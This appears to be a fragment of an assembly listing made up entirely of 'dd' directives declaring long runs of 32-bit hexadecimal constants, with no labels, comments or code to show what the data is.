dd 0DD1BE009h, 1473DF98h, 614CAA59h, 0BB92E1E0h, 0D596F18Fh
dd 0DD4F3B67h, 9ADE686Ah, 9F112798h, 0DD26FC48h, 95EFB43h
dd 49B17D9Ch, 2B923200h, 7AC7FADh, 7BC2C638h, 3FFE883Eh
dd 0E1B7F790h, 6A461CD2h, 95EED398h, 48E90FEh, 43B2C5ADh
dd 88611434h, 0B7065FC1h, 794B178Ch, 0B8424AA0h, 0ED78CE49h
dd 0D62FAFF8h, 61DA1D7Eh, 4B3C3ECBh, 7A4F6477h, 0D73521FDh
dd 0A915ACh, 5BB9E1ECh, 58A2E5D2h, 0D0AAEF40h, 8363293Ch
dd 0D6F2823Eh, 0D59B1448h, 0D9D972B7h, 0EFF5B8CCh, 338314F0h
dd 9DA63814h, 0E0CAFE60h, 0B383595Ch, 0E812725Eh, 0A3BA3564h
dd 0C15A06CAh, 0A92618ECh, 45A28E10h, 316E0B34h, 0BFEBB88Fh
dd 0B20ECF64h, 0A9C7CFA0h, 0CD5644E2h, 0F77B16F2h, 83944B6Bh
dd 80AA9A20h, 66E65C54h, 0FF0A20A9h, 0E007E086h, 225C8CCAh
dd 5574FA59h, 0CA0B7F08h, 0B39493AFh, 8AE2AA40h, 4D0898F8h
dd 0F309698h, 0A51CF0BCh, 93BE7EA4h, 57C8DFE3h, 0A4473618h
dd 0D9EEE982h, 288F7143h, 5D364E32h, 7DD4409h, 0E16EFEAFh
dd 0C1841D83h, 58B68414h, 27DC46CCh, 27837D6Ch, 9A22DA6Eh
dd 0EAD58B04h, 2F7A4693h, 2BE89387h, 23B1D210h, 4D5B0545h
dd 0B2FA4641h, 0E91C5A11h, 0BCB2A7B0h, 56551763h, 0C4155EE8h
dd 1BE3A66h, 54D1DC63h, 697B1565h, 0C21A7661h, 193C7639h
dd 0FA6BCBD0h, 0A15AB45h, 4FBAA561h, 11CFE8A4h, 9BAF7D60h
dd 0C16A4A3h, 0A53A1077h, 1D0EC105h, 0B5851973h, 0C85FB954h
dd 57B47E62h, 161193E9h, 0DCCB0270h, 1A36C4A4h, 0CED839CCh
dd 0C024F14Bh, 0EBEF0E9Dh, 7C6CC34h, 6BB111C3h, 0BE323E27h
dd 36F4615h, 2E7C68C4h, 0FA2574EAh, 4EC0564Eh, 0FB2C4EBBh
dd 0BD18C0BCh, 0A9562778h, 0E772E59Ch, 3520AC0h, 85A0DCE4h
dd 7D847839h, 835351DCh, 53E23A2Eh, 7546A8F7h, 8F2AA044h
dd 51F84447h, 53DC7E6Bh, 0D3C0F46Eh, 0EFBAD05Ah, 59DE06B8h
dd 75533A1Ah, 4AE5AC73h, 9F5A946Eh, 0BCF3379Bh, 2499C60Fh
dd 92430424h, 0A7EAD648h, 690AED05h, 1E11C390h, 0EDF38B59h
dd 346ADEC8h, 81A25481h, 83920F20h, 0BB6EA78h, 0DD8F9B07h
dd 0FE1E88AAh, 0FB787F0h, 0FD67DFBCh, 0BF9BC6F8h, 0A681A01Ch
dd 0D834C504h, 1E28F4CBh, 64063D9Eh, 0DC3E8B93h, 4B67A8F8h
dd 51FB9DF4h, 6AAFE5Ah, 0A1CC8EB1h, 0E8F1C760h, 1526F6AAh
dd 0D924F6D2h, 0A3342B2Bh, 733B7AE0h, 88A63C15h, 0E3531D23h
dd 7CC5F480h, 5350FCF5h, 0A4EC31A4h, 0F799F42Dh, 0FC52C8ECh
dd 99401D2Fh, 0ED4B4C24h, 72B0AC6Ch, 9BC0D4DAh, 7B5646BFh
dd 0B80542Eh, 0BD108187h, 0F923D8FCh, 1355C6C4h, 3DE657DAh
dd 0A29B654Bh, 93B3F7B6h, 9852929Fh, 21B2E3F6h, 398D07ECh
dd 4AA65CFFh, 8BF04F91h, 1D5ABC74h, 5FFAFDCEh, 9BE3E96Fh
dd 1872C2BEh, 48CA1BC4h, 0FDE42C7h, 0E4D47BDBh, 60EABA60h
dd 0CE58D71h, 3570A957h, 6B9900CCh, 0A4BA8681h, 0C80D8424h
dd 371824BDh, 0B93316Ch, 8422DA6Eh, 0E005C152h, 2F54A8D8h
dd 0F13810E6h, 0B41AD2CAh, 0ECD69044h, 0E7FAB02Ch, 0BDA91476h
dd 4398BCCFh, 7D66A813h, 79F225CBh, 8EED797Bh, 0B3E713B5h
dd 0D6477264h, 21AF4BB8h, 883E38CAh, 93250A14h, 3186842Ch
dd 0FAAA6EEAh, 12CE304Ah, 0D3F2F260h, 9516B484h, 0D33A76A8h
dd 195E38F5h, 8C82FAF0h, 0A65E94Ah, 5FDA540Ah, 0A55A7707h
dd 450D95C0h, 32C38192h, 676A8DE5h, 9F13F19Eh, 64A21AEEh
dd 0BD0810B9h, 6F00B658h, 9CDA507Ch, 0E3A7BB4Fh, 3F7F22F4h
dd 965F6A11h, 0D53F8AF1h, 0FB03FDC5h, 8B7BAD84h, 80A8E56h
dd 31F09021h, 45AE63C0h, 779B5145h, 0A37F7929h, 0EE68C6FBh
dd 57551EF3h, 6A5958AAh, 0B32A9ABBh, 0FD00E48Fh, 56722085h
dd 0A1B78F56h, 0EBA3F44Dh, 18DE3731h, 6F635D02h, 0C14FB6F9h
dd 0EF2B01DDh, 441C27ACh, 75D542C1h, 0C2EAA389h, 0AC9F878h
dd 2AB13551h, 90948B90h, 0BB6BB815h, 1B59F1FDh, 5F3664E1h
dd 331671C5h, 16FBE287h, 4FCE317Ch, 9DBF7B5Eh, 0E0B49BB0h
dd 298BE835h, 67764327h, 505E8C01h, 0E4409312h, 181E11B4h
dd 6FDFE69Ch, 0A1129C95h, 0EFC3CD62h, 31AFE6F4h, 74933A3Dh
dd 0E07D8421h, 0F866E3F9h, 6A3F60F1h, 0A900F6CDh, 0F22ADBB1h
dd 2DE30C92h, 7AED3C6Dh, 0C3B3BC4Ch, 0F5A2FF41h, 38742912h
dd 66695FF8h, 0D33FC3C8h, 0E2ADFB2h, 501C21C3h, 99EB8534h
dd 0CCD6B59Eh, 16BBF730h, 679757A0h, 0C27AA511h, 1842F114h
dd 5E4A3CFAh, 0A0099AF1h, 0E20B88A8h, 23F3DC88h, 6ECF2A81h
dd 0CA526165h, 0E2CAD049h, 286A1635h, 0C97F4000h, 0E1568D17h
dd 0F639DAD9h, 4E2A14C7h, 762464A1h, 0C2DBA372h, 16CE2F72h
dd 639F7328h, 0AE8A9102h, 0F94BDD1Dh, 42581DFAh, 86334AD9h
dd 0AD6EBFCAh, 0EFF6E1AFh, 46E8228Dh, 279B6D5Ah, 0BBAEA739h
dd 0EA99ED39h, 516F461Ah, 9F394EFDh, 0DA54BAE1h, 14FFF5CCh
dd 87FF6494h, 0EEFA958Fh, 29CCFB5Ch, 60A53742h, 0AD666927h
dd 0DC6DC30Ah, 0CFA1EDEFh, 56444906h, 0B346A4B8h, 0FAFFC7B7h
dd 4330557Fh, 0CBD65275h, 0C7BA8727h, 108FD241h, 3A802410h
dd 78666502h, 0C416F3D7h, 300002CDh, 72325BB8h, 8E829D9Dh
dd 0EDCBD780h, 32C32F38h, 559B6330h, 9777AD29h, 0F95FFE13h
dd 3C4352EDh, 835348D1h, 0C112A9BDh, 0F0FDE79Dh, 53D34C7Eh
dd 9AE45061h, 0D4A7C632h, 49821330h, 0A67A7717h, 0DE52AFDEh
dd 202EF1F6h, 7E1A1E54h, 92FF889Ch, 0EAE09070h, 28BE0956h
dd 91A93F4Bh, 9D7F7F37h, 872A22Ch, 3F430DE2h, 712F26D9h
dd 0BBF8AEBDh, 0F2F3DE7Fh
dd 45C21574h, 0A4BB9173h, 0E388B63Bh, 3A83060Fh, 6D525D04h
dd 0AC4B9903h, 9F42F9CBh, 2F3114AAh, 880661A5h, 0D1D99F57h
dd 0A7C8DB71h, 57C13C3Ah, 90966935h, 0DB6BB9E9h, 12590008h
dd 71413DE1h, 94FF86EEh, 12FFBE94h, 6AE00B7Fh, 92D27571h
dd 0F942B85Fh, 1A96DD28h, 63731C26h, 957CA001h, 0F137B20Fh
dd 24251294h, 930D57ADh, 0A3E37D9Bh, 0AD6A8D0h, 5CB40744h
dd 789E4F3Dh, 0DBCE9A2Bh, 264C2F4h, 61394FD8h, 0A32C8DDEh
dd 0D60AD7A1h, 2DF11595h, 69F43C6Dh, 0B1AF8969h, 39C0735h
dd 447F142Fh, 77655BF8h, 0C4459BFCh, 1D4CC8DAh, 5F0B3CC7h
dd 9BEF9699h, 0D3CBB96Ch, 1CBBF349h, 45324932h, 0C7ABA818h
dd 1369F711h, 475205F1h, 0AF2978D9h, 0CC149BC3h, 11FECFA1h
dd 0C1D54A85h, 0B6935377h, 0F1A8C338h, 2A9A161Dh, 6E714118h
dd 0A64587E3h, 0EC06D8D9h, 2C1814C7h, 744E649Fh, 0C2DAA685h
dd 1EB80057h, 74A75556h, 0B883864Ch, 75BA06h, 2C261802h
dd 7C355FE7h, 0CB3700B0h, 1104E594h, 39F93089h, 5FBF7777h
dd 0C5A2A24Dh, 96BCA35h, 4F782708h, 8C317AFDh, 0DB3DCDD0h
dd 2715F5CEh, 812970A9h, 37DFA289h, 1ED2F255h, 4FA73842h
dd 9F8B6C23h, 0E5535E39h, 2B6003F0h, 532136E5h, 0B34B76C9h
dd 1AA5B4h, 37E31C9Ah, 9DD64D7Eh, 0C7AA8B59h, 4F8FD241h
dd 52A4F4FDh, 0C5253910h, 0C962F0B2h, 361F28A8h, 680D548Fh
dd 0A4E7B395h, 0F8CBEA14h, 45AF0E87h, 66A76327h, 9512C118h
dd 1287DD09h, 355338EDh, 8E3364CDh, 0EBE3B2D5h, 0FCEDE766h
dd 50C03A7Dh, 76B38368h, 0C932D138h, 0B3809ED7h, 2305441Eh
dd 447057F6h, 8A1802C2h, 0AD280CC9h, 0AD4E2778h, 0F3FE9252h
dd 0A26AF2DFh, 0D5748659h, 97DE2708h, 49C626EAh, 0E6DDE1DDh
dd 0CD2E3B3Ch, 1492AE98h, 0F7519488h, 64771CE0h, 0D2C0A134h
dd 128A6AB3h, 2FB22880h, 4E546930h, 0EFCC6773h, 5BCDBEA8h
dd 0CB0399E8h, 0A69232DEh, 5A79FCE8h, 0B71772BDh, 3F47756Ch
dd 5B8A9C90h, 7446FAB4h, 193B1D9Ch, 575F60BCh, 3B72D318h
dd 25E4EA78h, 7D5C4107h, 3DA1987Ch, 0C0146B90h, 0BBFF1D94h
dd 0A262988Fh, 5085DD5Eh, 62934A5Fh, 81058543h, 0C71AE6EDh
dd 0B76A805Ch, 9FED6AD0h, 0D1112C5Eh, 0CF922E42h, 0B7CEC03Ch
dd 535CC462h, 1548C8ECh, 883A90A8h, 0E9DE87Fh, 5B924826h
dd 8A657353h, 0DFDAD41Eh, 0F2A259E1h, 589A0D0Bh, 19D94494h
dd 0F75A9155h, 7A81C8DCh, 0BDA15BC7h, 5F88C7BFh, 76770E48h
dd 0B10EB8B6h, 0F2317BC8h, 5BDBC9A3h, 6C7A06C6h, 0B987F99Bh
dd 0ADCF230h, 0BA712D33h, 0FF1A343Eh, 0AA1C6929h, 8C3AA2C0h
dd 0BC3545C3h, 17D8608Dh, 7DFE6B2Ch, 76712530h, 75066C9Dh
dd 0C6A9A42Ch, 0CBA07347h, 53F7B2D0h, 0C8236958h, 17BA0D70h
dd 241C21B4h, 0CAC9338Fh, 5DCE2757h, 544A3EB8h, 0D88A2B5Dh
dd 6CC5C2F0h, 671DFFB1h, 73AB4638h, 0BACED71Dh, 0FDB77741h
dd 0E8469CD2h, 0BCE92ADCh, 0F19E0A22h, 0B3B694DDh, 75D6EC79h
dd 0B8D75668h, 0E939CDF9h, 384134B0h, 6D818649h, 845C8EF8h
dd 0E7AE443Ch, 0CF966340h, 0C97BDDCAh, 7C1A7683h, 53C369CCh
dd 0AF62FACBh, 0E286D2F4h, 27C4D8DBh, 11CE37A4h, 74347D60h
dd 0E2DF362Eh, 0C423B738h, 196E018Ch, 0D38A7EF5h, 0DD3B4356h
dd 0AECA6E17h, 9C3FDBEh, 0E3120280h, 42E343E1h, 0E25A96C3h
dd 397D8C69h, 0F1E8B10h, 29D5CC3Ch, 6FEA8EB1h, 2F16FCFDh
dd 0DB8612A0h, 0B556D3C8h, 3D740187h, 452958FCh, 0FFE69EBDh
dd 6DE6DC55h, 7B729EA2h, 0F32E609Ch, 3A52D472h, 0A7AC6FC3h
dd 40CDA6F8h, 4AC2F9B9h, 5C332A50h, 7357EADEh, 8F2A9699h
dd 8C20B0BCh, 23B0F455h, 1F1B5E04h, 0C38ADF3Ch, 59DF7C34h
dd 0AF016F70h, 0DD28DCB8h, 0C1DF53B8h, 1A6E70FBh, 19060285h
dd 5C061007h, 0F9DAE0FCh, 0D4D4591Dh, 3B60B405h, 2DCBE3B4h
dd 0A6409EEDh, 818C7271h, 7709DD20h, 3100BD76h, 0B39149A0h
dd 0D01E988Dh, 2BAC1A83h, 2DD1690Dh, 6F5A0E28h, 1C8050CCh
dd 3310ACB5h, 0FDBAA364h, 0EE1AE68Ah, 3446CC80h, 5BA17C45h
dd 9A45F9F4h, 0CFBA230Ah, 91D2EEF9h, 8FCB0E0h, 8AA16E85h
dd 0D74AE12Ch, 0EEB9F2Fh, 5B926AF0h, 0F0FCEB17h, 0E60A7AEAh
dd 0A1EFB9E4h, 53968F80h, 0A53644A5h, 0F74FF0A6h, 0A97C48B2h
dd 6CA30E1Fh, 5F464C34h, 0AD5BB938h, 0FADECAFDh, 35A7576Eh
dd 0EF1C054Fh, 0ADA5CBE9h, 6A9E2EBDh, 0F0C14BE6h, 3DF66D5Eh
dd 64B37B1h, 0C12E9921h, 0FED72DC0h, 0DB7674E2h, 7A6FE08h
dd 988EE82Ch, 7AEC3D6Fh, 51036C64h, 162A2E98h, 0D14EA941h
dd 932319E0h, 57177404h, 45836858h, 0D9437B5Bh, 6185BA70h
dd 6222E09Ch, 1FE3BAC7h, 16A00DCh, 0BF3E5395h, 0D93B753Eh
dd 0BCDA4648h, 9DEE879h, 1243B570h, 607B3819h, 9C8A4244h
dd 6C4C8FD8h, 2726FA00h, 77576399h, 0E34A66Bh, 0BBC6EBBBh
dd 0BA42A777h, 587632E5h, 61015EF8h, 674379CEh, 96D2D21Eh
dd 0D5467424h, 47233EB8h, 240228ACh, 6ACE4867h, 40868855h
dd 5FE9888Dh, 450EB33Ch, 5CBB2336h, 8515F009h, 572225A8h
dd 4ADE38CEh, 2AD2B0A1h, 8DA5AE89h, 0D65F0138h, 51EE3057h
dd 94664953h, 0F68712D4h, 8D2C1167h, 2D0548DCh, 113737F4h
dd 0A5C6DC52h, 5E770E1Bh, 320E6071h, 0F49C53B9h, 8415D32Eh
dd 0FE7E6787h, 0CDDEDB01h, 769D2BEAh, 0BCF16904h, 0CC97B2A8h
dd 413E5BDFh, 45EBC4Bh, 3B01E4E4h, 879AA510h, 80A9502Fh
dd 0BEADA3F0h, 0CA3A4B1Ah, 3A9F10DFh, 5C95EDEAh, 6A3EBB93h
dd 81E6208Fh, 0C98BF652h, 0CE1D8136h, 1B120896h, 0EF807F1Fh
dd 5BCDBEA8h, 0E0BD65E8h, 2A594729h, 0E55E048Eh, 6ADDFBD1h
dd 3DC4411Fh, 70748947h, 0CC6FCFF0h, 165DF3EAh, 446A44E2h
dd 0A21680C9h, 3432E19Bh, 54EC287Dh, 9EF46C7Ah, 0DAABAB42h
dd 15ABD042h, 51794208h, 0B5AE6E01h, 0E839B4E1h, 3425DCB8h
dd 0C71CE69Ch, 893E78ACh, 0FDD26AD0h, 32AF2463h, 729C5506h
dd 0B27A8F23h, 320E9F8h, 4E6434F0h, 0AB5AAFEBh, 0EA04CDB3h
dd 55FC0182h, 4BEB6949h, 0A6948918h, 0C3CE0A25h, 37842916h
dd 0FD8B3AF9h, 0E75A06C8h, 46AB47A9h, 0B1A29A0Eh, 3DDB75B9h
dd 7C690E58h, 0B11ECA5Ah, 6751BAE1h, 0AC74AAE0h, 0E7B8243Dh
dd 850AFF0Ch, 0A1EC6D1Eh, 32A56ED5h, 54973F8Dh, 0C13EF9B6h
dd 0BA54784Bh, 0BADBBE89h, 17D2D68Dh, 1B43612Ch, 35E2BA28h
dd 0D1C0A6FDh, 80A5A4E6h, 0F89DCEBDh, 4E931A90h, 191975E3h
dd 64BE2E0Ch, 0D9E61010h, 0E155BA70h, 216A5ED7h, 8CC93E04h
dd 0E17EDA66h, 0B006820Bh, 34B81A97h, 4D0CD1E7h, 393D085Ch
dd 99B96203h, 74EEBD93h, 826A4ED8h, 0BC6DCDC2h, 0FFF6C0D3h
dd 0E2959490h, 370A5CF2h, 845CE4F4h, 0D144B2CFh, 225EDB3h
dd 3F9A50B6h, 863B672Fh, 0C3E22468h, 0D6477395h, 18EBB5B8h
dd 0F3C4BB0Bh, 0C64AEAC0h, 0DA86ACF4h, 427CA94Bh, 5D925A4Eh
dd 68F1F22Ch, 9526760Eh, 573A7050h, 691149CCh, 0AFF09182h
dd 0CDA6FB7Ah, 75FCE9D7h, 0A677404Ch, 0E322E05Ah, 1AC3B3B3h
dd 676A8DE5h, 543ECB75h, 5AF30A00h, 0BDC452A9h, 6BD21F58h
dd 0BE0E507Ch, 34B9CF5h, 0FAE3FBC4h, 778A9BCEh, 44D31674h
dd 8089004Fh, 0BDF6CEC1h, 0DC8D4E78h, 413E5A8Bh, 0F0E7ADC0h
dd 9576F4E2h, 0A19B803Ch, 4766B62Ch, 0BA622A50h, 0DD0512E9h
dd 0E96A2998h, 0DEDB8E91h
dd 13825080h, 4A9C8A36h, 87D8C97Dh, 9B42C4Ch, 0EA546920h
dd 0CD25DE09h, 0CC9F6B8h, 617E5902h, 64D9C546h, 3DB60414h
dd 0A7DAC654h, 28CD5523h, 49543B5Bh, 0ED92D0F8h, 0E5F45977h
dd 592190ECh, 33B25227h, 0DD779FD1h, 2CD3D658h, 691CEA29h
dd 507F32B0h, 10E6DB3h, 6E8ADEF8h, 0CB776AE5h, 7009605h
dd 0A8F6D8B0h, 0D75860FDh, 847E2BACh, 4B649D54h, 0AAEB9F4h
dd 54AAEE18h, 0A1E7C9D1h, 0D07FC960h, 1526F576h, 1EAFF450h
dd 8BDB352Bh, 5B826ACFh, 1BB6B823h, 434BFE38h, 0A1EEBFCCh
dd 64132A34h, 0B2F544A4h, 0E76AEC5Eh, 0AA0E8C6Dh, 0E6F28A10h
dd 7BC672E8h, 260099F7h, 7193D06Ch, 5B3F4559h, 3556414Ch
dd 0BD248187h, 0D7C9D8FCh, 693125B3h, 0CAE65C44h, 128FA161h
dd 712ED09Ah, 625415DFh, 85FB64D4h, 823A217h, 8949E82Ch
dd 3AE2235Ch, 0F08BED84h, 0CD2A3E96h, 0E10F3141h, 93DCB1E0h
dd 53C0736Eh, 1EC8A1C7h, 2161F83Ch, 0FB86B78Fh, 0CC267C95h
dd 1535A945h, 0D11800CCh, 1891F3B2h, 65C66602h, 0A4E906CDh
dd 0E9FE072Ch, 0B9AE351Dh, 75B78CA4h, 26E44280h, 0F122B85Bh
dd 0DE10D220h, 51CA0B2Ah, 0B98F1B9Ch, 761E08AAh, 0AB60440Dh
dd 25672BD4h, 560938F5h, 0FB3593A9h, 0C33CE230h, 85F6B0CCh
dd 6EEDB888h, 193D1E21h, 0AFA665D0h, 351B2FE8h, 1FAA7E5Ah
dd 98D8E24Bh, 14061624h, 0CB18AC64h, 590468A9h, 10616EBEh
dd 5B8ADEB4h, 7D67BDF5h, 1BD52D40h, 2F2D3080h, 0ABCF8D30h
dd 7D36D4C3h, 675A86C4h, 91742211h, 9C2E8F0h, 0CAABC254h
dd 6722743Dh, 56EE88A1h, 0C27C1C33h, 0B536060Dh, 410FDB1Fh
dd 0BA9E482Ah, 0FBC2B674h, 6DE64254h, 0EC894FAFh, 413E79A6h
dd 0F8E2AD4Bh, 0C5A0E4D4h, 4085AFABh, 4EE6B739h, 0F1E22A50h
dd 0CD104899h, 89BF23CFh, 0D04E80DAh, 0BEC23E24h, 0D59D8C0Fh
dd 1C47B628h, 59EE62ECh, 90016B27h, 0DD36CD9Eh, 0CB487E3Dh
dd 7C36D369h, 0C81542F0h, 0E5C60F94h, 0E6673948h, 80FE982Dh
dd 7C2264DEh, 7A05D9EAh, 0AF7AC3DEh, 6B8EC87Fh, 313DE10Fh
dd 0B81E9FD1h, 0ACAAD658h, 69D332DEh, 456C3250h, 0B876DB3h
dd 4493BFEFh, 27D99FF3h, 91FD2FCBh, 0E83EC7F1h, 238DE678h
dd 0F2691933h, 75F75783h, 8D863C12h, 0DFBF5B75h, 7782AF3Ch
dd 5367A208h, 0ABABB584h, 573AE686h, 891FF969h, 4CF67AF0h
dd 0FD5B7DBh, 0DFCAFE28h, 2634C05Ch, 63224147h, 73EDBA4h
dd 64A12B67h, 0A98EDB6Ch, 0EBA28A10h, 2DCA0A71h, 0FB91865h
dd 1BBDF96Ah, 93983F80h, 0D27CAB30h, 0D74936C9h, 5E4B2FE0h
dd 5B316E10h, 0DA12B7B7h, 0BEBF09Ah, 0C73BFF81h, 6372C2A0h
dd 0F4569504h, 2487F91Dh, 6A6508FEh, 0A9478EE2h, 1B106F95h
dd 350F12BDh, 80F35C90h, 73EB9E73h, 25C6136Ch, 6D9B1641h
dd 0A183D830h, 0EF65DD00h, 815A1EF5h, 803E4F98h, 0CB17A4CAh
dd 0D0B29CA7h, 460D7A31h, 80C2675Ch, 0CADEA95Ah, 0F42E63Ch
dd 4E264315h, 958A6A06h, 0E536B1E5h, 2218B20Ch, 83FCB496h
dd 0D3E8B191h, 0D9E7385Fh, 4FAB3947h, 0A8709FEEh, 0DC7CB920h
dd 2660FF3Ch, 58413920h, 0B31CC490h, 0E308C1B1h, 481E517Fh
dd 0ACC7457Fh, 6DBA7314h, 0FBCADF41h, 0F2731B25h, 0BA663940h
dd 0F64294D7h, 0E35B11BCh, 0B1632DA6h, 0CFCE5C51h, 1C23FC15h
dd 3A7D7EE9h, 4AFAB033h, 0E1226874h, 68E32997h, 362DDBF1h
dd 48789DA5h, 1D47344Ah, 0E806B566h, 4ACC25C5h, 97EE010Ch
dd 8998C178h, 8684F1E9h, 6AEA419Bh, 3BAEFA00h, 19EA6A02h
dd 86BD85C0h, 0B0FC077Dh, 46EF4CA6h, 3FD694Bh, 0C576E4E4h
dd 879AA608h, 49BE682Ch, 0BE22A50h, 0CD06EC74h, 8F2AAE98h
dd 514E70BCh, 137232E0h, 0D596F404h, 0F7BAB628h, 1756DBCFh
dd 9E023A60h, 0CD685039h, 2E59BEB8h, 10FB749Fh, 6E494FF8h
dd 5C86012Ah, 0C2FEA28Ch, 72B0842Eh, 9E2A8C6Bh, 0F98891A8h
dd 387610C3h, 81500871h, 0EF37D920h, 8CD60486h, 8F3C576Dh
dd 37BFBFEEh, 0C0CA5AB4h, 0FD763813h, 0BF8A3AA0h, 81CD881Ch
dd 0C85F6240h, 50641F0h, 73320DC1h, 8D7E25B8h, 0D0615FF2h
dd 0D96EA68h, 0D203DBDBh, 0A1B289C9h, 92025360h, 15A5B8D4h
dd 393E0E2Bh, 15FB2F22h, 0DE826AD3h, 1ADA3C2Eh, 0B1CDD023h
dd 7DBC4B4Ch, 0E6703B38h, 216A44BEh, 0EAC5F867h, 818EF64Bh
dd 0DAA1B7C7h, 0B2B10E5Fh, 0EFFAD0B4h, 0E5D9CD34h, 0BB71FE3h
dd 70564406h, 0E73C826Dh, 0B99ED80Ch, 7BFEF230h, 0BA715C54h
dd 0FF1AE0ECh, 0DC648704h, 836A0ADFh, 0AAF964E4h, 7AAE87Ch
dd 42C65B2Ch, 9B06A2CDh, 80A25174h, 1FECBA25h, 56DDADBCh
dd 93827458h, 132ADF8Dh, 1A223618h, 0E8DEF84Ch, 0E8D7BB9h
dd 5D267C14h, 0F5B7E6EAh, 5671193Bh, 0A3A2045Ch, 4B39CE27h
dd 0A3E94654h, 0E9FE0773h, 0AB32F413h, 6D0308C3h, 71F54ED8h
dd 39B6E008h, 0B6B18F3Eh, 651818C9h, 0E7405768h, 829E1016h
dd 3B5B2EB0h, 7C9ABEADh, 0CAFB4738h, 0A22F1FE4h, 2B19F7Fh
dd 0B93A0BE5h, 5B0F66D4h, 88863D65h, 4A71D4E9h, 8D86AC8Bh
dd 85A2ED3Eh, 96DD5E4Fh, 0D3F2F2CBh, 951031BAh, 11C571BDh
dd 9060CDBCh, 8C73FBFAh, 7064CAFCh, 0F37F7FD7h, 0CEEE301Eh
dd 3E8A4205h, 0A5BA40B3h, 14D986C8h, 298E8688h, 59F722C0h
dd 2AC97D13h, 6FFA50B4h, 6F8AD30Bh, 0F7351290h, 0F5D901E8h
dd 6ED5A7EAh, 27C150A2h, 2EE251B0h, 0B9CAF815h, 682E9261h
dd 10984A8h, 9ED389EBh, 0AF1ADF3h, 321BCC1Ch, 906CABD4h
dd 0B66360E4h, 6721ADh, 4AABD4ACh, 0BDC38EF2h, 0CEF35874h
dd 24EE0B77h, 623B9C3Ch, 0A8B68F29h, 0E6833004h, 3E0BCDDAh
dd 7ACBC4CCh, 0C25359ECh, 98914894h, 0E5C6C29Ch, 8ECB5D83h
dd 0E8DCB1CBh, 0A0B5ED2h, 2C053D92h, 76EF8D9h, 0ECC35764h
dd 6C47DA3Fh, 0FD6046Ah, 0B912E5C0h, 7842D8EEh, 96A83CB2h
dd 0A5BE163Eh, 0D609A9E6h, 4B6DE9Fh, 0FBD7CC71h, 0A8AB434Ch
dd 0CA946627h, 0D9AE9D7Fh, 319BEDD2h, 0B4F02CE4h, 0A79258FFh
dd 900830E6h, 64A28AF5h, 0D8CB336Ch, 0D73B3E47h, 47E2B8CCh
dd 0BB537584h, 0E75102F2h, 0DF82F9E3h, 486EC05Ch, 0F0D5DFA2h
dd 352FD419h, 56B1DFC8h, 2EB58526h, 6BB27194h, 3DC64C34h
dd 302A9967h, 3644D5DCh, 73428922h, 0CF5C9FC5h, 929F8DF5h
dd 3723AAFFh, 7DC28A09h, 420C56A9h, 0FB753949h, 0A62FEB82h
dd 0DF3A4B66h, 0BC3545C3h, 9423524Bh, 0C9CE26D8h, 10D9EBBBh
dd 4D16A3F8h, 1F2A2E98h, 0D58E83CBh, 2F5A5C3Ch, 0CE5575E3h
dd 77C869Dh, 57630A4Ch, 9C02AA49h, 6E3578E9h, 0DF754063h
dd 66A53D87h, 0A3A29984h, 75B68424h, 0A464235Ch, 0E90EEF4Ah
dd 112D6AD1h, 478B11C1h, 0D9E2BE43h, 2A4C9386h, 9373D210h
dd 91FD8F3Fh, 0AA554F1h, 9089FACCh, 3AA662A2h, 3D19CD9h
dd 2FC3B47Dh, 0C286241Ch, 67DDA60h, 608A1F2Ah, 62236678h
dd 0A07AD8D1h, 0E61A50B0h, 34F186F4h, 27AED811h, 0CC0237A4h
dd 25F67D7Fh, 0EF1E5445h, 357AEDADh, 0A961CD77h, 0D0EC5460h
dd 6C56644Ch, 0DC4A93D7h, 21FE21D0h, 0EB0C8286h, 73BA95F7h
dd 0A1D8C7DCh, 0DFBC05C0h, 25A04FA4h, 7384A388h, 0B968926Ch
dd 0F74C5950h, 6CE21F34h, 30C689AFh, 12D52652h, 50D3E850h
dd 96BAAA70h, 3A9D99F0h, 7F1AB5FCh, 412E809Ch, 5C7A810h
dd 7803E0E8h, 0AB3F20A6h, 0EBBE7845h, 10DEAABBh, 0CD76E5C9h
dd 0CFA97318h, 8CF05866h
dd 9869AFFFh, 0D5A6BB88h, 97BAF628h, 6A84C032h, 34B63C05h
dd 0D59661FAh, 0B84839C2h, 0C1AE80CCh, 407AAC03h, 95752503h
dd 235F73D0h, 69FE9885h, 0A0224A10h, 73CC7CB6h, 0BFA3023Dh
dd 0F1F932FCh, 3A27553Ch, 285614D4h, 0FAA41607h, 42AE2319h
dd 382A5AA0h, 88256DB3h, 0AFC35A7Dh, 81AEA01Ch, 93D5B644h
dd 82ADBAC4h, 0C72A0D0Ch, 993EA8ACh, 201A6F64h, 7486907Fh
dd 4B2FDB67h, 90CEC055h, 62F37260h, 1516C408h, 71A246A8h
dd 5DB2F77h, 0B3826AB2h, 0F065CEE0h, 8A742688h, 0DF4E1BE5h
dd 0FA8270h, 10F5E582h, 0F793824Dh, 0A97EC5ECh, 0E2BC3E10h
dd 3DBFC8B9h, 0EFEA0E58h, 9918047Dh, 0F231D08Eh, 3814B9ACh
dd 51E3A687h, 25234DB7h, 0F6C28AF2h, 0C6AE8123h, 0EFCCBAD5h
dd 0DDF6679Ch, 22B68718h, 8569F9FAh, 8411BF2Eh, 0C9CE0FB0h
dd 8BE2AA53h, 0CABC79C8h, 0F3A651Ah, 0F958643Ch, 52712D4Ah
dd 985419ECh, 73A17EC7h, 0E849DAD5h, 72ADE0B0h, 4D1FF819h
dd 1F4A3FB8h, 334894DCh, 93CB4485h, 5BEB0424h, 0E57C5F0h
dd 53F020CBh, 0AD0A77AFh, 1D05BD91h, 2A7EF6B8h, 2AB1495Bh
dd 0C8B14AC6h, 0CC6729AAh, 7EC1F3h, 0A755187Ch, 0BB459CC7h
dd 699B9CD4h, 560612A0h, 0A9CDB07Bh, 0E2D1BC6Eh, 92B54CCAh
dd 0A2ABFFAEh, 8EC96137h, 0CB722C34h, 0D50FF41Fh, 0CB2F5BB4h
dd 10CE4055h, 87F2F260h, 119B3D9Ch, 573A6681h, 6D6838CCh
dd 5F070FDCh, 9DA6AC2Dh, 2CCB7E38h, 0FE30E866h, 0AEFA1F9Fh
dd 90F56581h, 7793024Dh, 297E48ECh, 43ACBE18h, 0A0857FE0h
dd 0E6672D00h, 0B59301DBh, 0F7322279h, 4156D4C4h, 0FC10EEDFh
dd 1216216Bh, 568A6870h, 49A6E4ECh, 8CC2477Ch, 0A8D545F4h
dd 0A24FFFE8h, 41FBCDC3h, 7F9AB6E1h, 0FEBE682Ch, 8D9FAAE2h
dd 0CD06FC8Dh, 0AC9295ACh, 0C98D6919h, 0DC9B4AC9h, 0DED44F0Eh
